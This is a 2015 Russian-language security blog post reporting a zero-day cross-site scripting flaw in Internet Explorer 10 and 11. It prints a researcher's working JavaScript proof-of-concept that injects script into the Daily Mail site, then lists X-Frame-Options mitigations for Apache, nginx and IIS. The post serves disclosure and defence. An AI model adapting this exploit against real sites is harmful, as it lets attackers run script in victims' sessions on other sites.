Страницы

четверг, 5 февраля 2015 г.

XSS-уязвимость нулевого дня в Internet Explorer позволяет атаковать любые сайты

Вчера стало известно о появлении ранее неизвестной уязвимости межсайтового скриптинга в Microsoft Internet Explorer. Используя эту ошибку, удаленный пользователь может внедрить в HTML-страницу произвольный JavaScript-сценарий в обход политики единства происхождения практически на любом сайте.


Исследователи из deusen.co.uk, разместившие PoC-код эксплойта, продемонстрировали эксплуатацию уязвимости на сайте первой по величине тиража ежедневной газеты Великобритании «Daily Mail». При нажатии на специально сформированную ссылку пользователь перенаправляется на сайт dailymail.co.uk, после чего ему выводится сообщение «Hacked by Deusen».

Сам код эксплойта выглядит следующим образом:

 function go()
 {
  w=window.frames[0];
  w.setTimeout("alert(eval('x=top.frames[1];r=confirm(\\'Close this window after 3 seconds...\\');x.location=\\'javascript:%22%3Cscript%3Efunction%20a()%7Bw.document.body.innerHTML%3D%27%3Ca%20style%3Dfont-size%3A50px%3EHacked%20by%20Deusen%3C%2Fa%3E%27%3B%7D%20function%20o()%7Bw%3Dwindow.open(%27http%3A%2F%2Fwww.dailymail.co.uk%27%2C%27_blank%27%2C%27top%3D0%2C%20left%3D0%2C%20width%3D800%2C%20height%3D600%2C%20location%3Dyes%2C%20scrollbars%3Dyes%27)%3BsetTimeout(%27a()%27%2C7000)%3B%7D%3C%2Fscript%3E%3Ca%20href%3D%27javascript%3Ao()%3Bvoid(0)%3B%27%3EGo%3C%2Fa%3E%22\\';'))",1);
 }
 setTimeout("go()",1000);

Уязвимость присутствует в Internet Explorer 10.x и 11.x. Подробное описание уязвимости доступно по адресу www.securitylab.ru/vulnerability/470863.php.

В сети уже появилось несколько примеров использования уязвимости, из которых видно, что под угрозой множество сайтов. Вот пример с порталом международного форума по практической безопасности PHDays V:


Способы защиты

Необходимо запретить сторонние iframe с помощью опции заголовка X-Frame-Options, отправляемого web-сервером.

Для Apache настройка в .htaccess будет выглядеть так:

Header always append X-Frame-Options SAMEORIGIN

Для nginx:

add_header X-Frame-Options SAMEORIGIN;

Для IIS:

<system.webServer>
...
<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="SAMEORIGIN" />
</customHeaders>
</httpProtocol>
...
</system.webServer>

При отсутствии возможности оперативной настройки серверов защититься можно с помощью решений класса Web Application Firewall (в качестве примера — настройки PT Application Firewall).


Стоит отметить, что в целом в последнее время участились 0day в инфраструктурных компонентах — Shellshock, ghost и др. Подливает масла в огонь и корпорация Google, раскрывая подробности о брешах в Windows несмотря на призывы Microsoft к более гибкой системе раскрытия уязвимостей. Похоже, что привычный в среде исследователей подход «узнал, помог закрыть уязвимость, опубликовал подробности» уже не работает.

Комментариев нет:

Отправить комментарий